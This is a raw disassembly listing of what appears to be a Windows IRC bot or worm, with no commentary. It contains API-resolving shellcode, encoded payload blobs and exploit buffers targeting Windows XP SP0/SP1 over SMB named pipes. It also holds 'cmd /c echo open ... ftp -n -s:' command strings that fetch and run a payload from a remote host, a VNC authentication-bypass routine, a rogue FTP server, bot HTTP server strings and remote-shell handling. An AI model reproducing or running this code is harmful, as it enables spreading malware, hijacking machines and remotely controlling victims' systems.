loc_4325C8: ; CODE XREF: sub_4325B2+33j
jecxz short loc_432602
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_4325D5: ; CODE XREF: sub_4325B2+2Dj
lodsb
cmp al, ah
jz short loc_4325E1
ror edi, 0Dh
add edi, eax
jmp short loc_4325D5
; ---------------------------------------------------------------------------
loc_4325E1: ; CODE XREF: sub_4325B2+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4325C8
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_432602: ; CODE XREF: sub_4325B2:loc_4325C8j
; sub_4325B2:loc_432602j
jmp short loc_432602
sub_4325B2 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_432608 proc near ; DATA XREF: ___:0040D30Ao
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_43265A
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_432625: ; CODE XREF: sub_432608+38j
jecxz short loc_432655
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_432630: ; CODE XREF: sub_432608+32j
lodsb
test al, al
jz short loc_43263C
ror edx, 0Dh
add edx, eax
jmp short loc_432630
; ---------------------------------------------------------------------------
loc_43263C: ; CODE XREF: sub_432608+2Bj
cmp edx, [esp+arg_0]
jnz short loc_432625
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_432655: ; CODE XREF: sub_432608:loc_432625j
mov [esp+arg_0], ebx
retn
sub_432608 endp
; =============== S U B R O U T I N E =======================================
sub_43265A proc near ; CODE XREF: sub_432608+7p
; FUNCTION CHUNK AT 00432692 SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_432673
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_43267E
; ---------------------------------------------------------------------------
loc_432673: ; CODE XREF: sub_43265A+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_43267E: ; CODE XREF: sub_43265A+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_432692
sub_43265A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432685 proc near ; CODE XREF: sub_43265A:loc_432692p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_432685 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_43265A
loc_432692: ; CODE XREF: sub_43265A+29j
call sub_432685
loc_432697: ; DATA XREF: sub_40CADB+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_43265A
; ---------------------------------------------------------------------------
dw 0
dword_43269C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o
dword_4326A8 dd 30h ; DATA XREF: sub_40CADB+2CAo
dword_4326AC dd 0A1h ; DATA XREF: sub_40CADB+29Fo
dword_4326B0 dd 3 ; DATA XREF: sub_40CADB+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CADB+153o
align 4
loc_4326BC: ; DATA XREF: sub_40CADB+E8o
jmp short near ptr dword_4326C4
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_4326C4 dd 0 ; CODE XREF: ___:loc_4326BCj
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: ___:0040D331o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 10h
dword_432730 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Co
; ---------------------------------------------------------------------------
loc_43273C: ; CODE XREF: ___:00432746j
xor dword ptr [ebx+13h], 6AD31EBBh
sub ebx, 0FFFFFFFCh
loop loc_43273C
inc edi
jz short loc_432783
and eax, 952CE753h
inc esp
jle short loc_4327AB
push es
lahf
cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_432783: ; CODE XREF: ___:00432749j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_4327E2+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_4327A8: ; CODE XREF: ___:004327D5j
xor [esi-25h], bl
loc_4327AB: ; CODE XREF: ___:00432751j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_4327C4: ; CODE XREF: ___:004327F7j
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_4327A8
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_4327E2: ; CODE XREF: ___:00432789j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_43286E
jo short loc_4327C4
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_432805+1
add bl, [edi]
loc_432805: ; CODE XREF: ___:00432801j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_43281A+2
cmp ch, bh
dec edx
loc_43281A: ; CODE XREF: ___:00432815j
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_43286E: ; CODE XREF: ___:004327F5j
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_4328F4
sub al, 0BCh
jmp near ptr 54452C62h
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_432890 dd 0EFFFC481h, 44FFFFh, 4328DCh ; DATA XREF: ___:0040DC33o
dword_43289C dd 42Ah ; DATA XREF: ___:0040DBE6r
dword_4328A0 dd 3E8h ; DATA XREF: ___:0040DC57r
dword_4328A4 dd 258h ; DATA XREF: ___:0040DC29r
byte_4328A8 db 1 ; DATA XREF: ___:0040DB92r
; ___:0040DC60r
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_4328C0 dd 20804h ; DATA XREF: sub_40D8A0r ___:0040DC7Eo ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004328ACo
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_4328F4: ; CODE XREF: ___:00432878j
push eax
xor al, 29h
loc_4328F7: ; DATA XREF: ___:0040DBBAo
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 10h
dword_432900 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAEAo
dword_432914 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Eo
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Do
align 4
aSIpc db '\\%s\ipc$',0
align 4
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40DFE3+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4329BC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 10h
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Do
align 10h
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E29Ao
align 10h
word_433C00 dw 1 ; DATA XREF: ___:0040E211r
align 4
dword_433C04 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
; DATA XREF: sub_419C65+21o
dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
dd 0
aFtpTransferCom db 'ftp transfer complete to: %s',0
align 4
a226TransferCom db '226 Transfer complete.',0Ah,0
aFtpTransferSta db 'ftp transfer started to: %s',0
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
align 4
aRetr db 'RETR',0
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
aXX db '%x%x',0Ah,0
align 4
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aPort db 'PORT',0
align 4
a226TransferC_0 db '226 Transfer complete',0Ah,0
align 10h
aList_0 db 'LIST',0
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aPasv db 'PASV',0
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aI_0: ; DATA XREF: ___:00438368o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aA_0: ; DATA XREF: ___:00438374o
unicode 0, <A>,0
aType db 'TYPE',0
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 4
dd offset dword_445750
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
aRest db 'REST',0
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 4
aSyst db 'SYST',0
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aPass_0 db 'PASS',0
align 4
a331PasswordReq db '331 Password required',0Ah,0
align 4
aUser_2 db 'USER',0
align 4
aSS_3 db '%s %s',0
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 4
unk_433EEC db 2Dh ; - ; DATA XREF: sub_40F0D6+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_433F14 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D6+2CFo
; sub_41A4D2+F5o
align 4
aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D6+269o
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F531+98o
; sub_41AA43+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_40F531+5Fo
align 4
unk_434134 db 2Dh ; - ; DATA XREF: sub_40F6B4+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_37 db ' failed to start worker thread, error %d',0
align 4
unk_43416C db 2Dh ; - ; DATA XREF: sub_40F6B4+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 10h
asc_4341A0: ; DATA XREF: sub_40F6B4+15Ao
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_40F6B4+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40F96B+652o
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40F96B+61Co
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96B+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+328o
; sub_40F96B+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o
align 10h
aS db '<%s>',0 ; DATA XREF: sub_40F96B+2E9o
; sub_40F96B+40Bo
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo
aAm db 'AM',0 ; DATA XREF: sub_40F96B+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_40F96B+28Ao
align 10h
a__ db '..',0 ; DATA XREF: sub_40F96B+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96B+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_434648 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Eo
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410313o
dword_43468C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B8o
aClientConnecti db '- client connection from %s:%d.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0
unk_4346F4 db 2Dh ; - ; DATA XREF: ___:00410494o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_43473C db 2Dh ; - ; DATA XREF: ___:004106E6o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0
unk_43477C db 2Dh ; - ; DATA XREF: ___:0041061Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 10h
unk_4347C0 db 2Dh ; - ; DATA XREF: ___:004109A9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4347EC db 2Dh ; - ; DATA XREF: ___:00410982o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
unk_434818 db 2Dh ; - ; DATA XREF: ___:00410962o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410932o
align 4
unk_434854 db 2Dh ; - ; DATA XREF: ___:004108A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 10h
unk_434880 db 2Dh ; - ; DATA XREF: sub_4109C5:loc_410A0Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
dword_4348AC dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_410A1F+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 4
unk_434A48 db 2Dh ; - ; DATA XREF: sub_410CD6+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_434A7C db 2Dh ; - ; DATA XREF: sub_410CD6+59o
; sub_410CD6+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_434AC4 db 2Dh ; - ; DATA XREF: sub_410E27+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_434AEC db 2Dh ; - ; DATA XREF: sub_410E27+7Eo
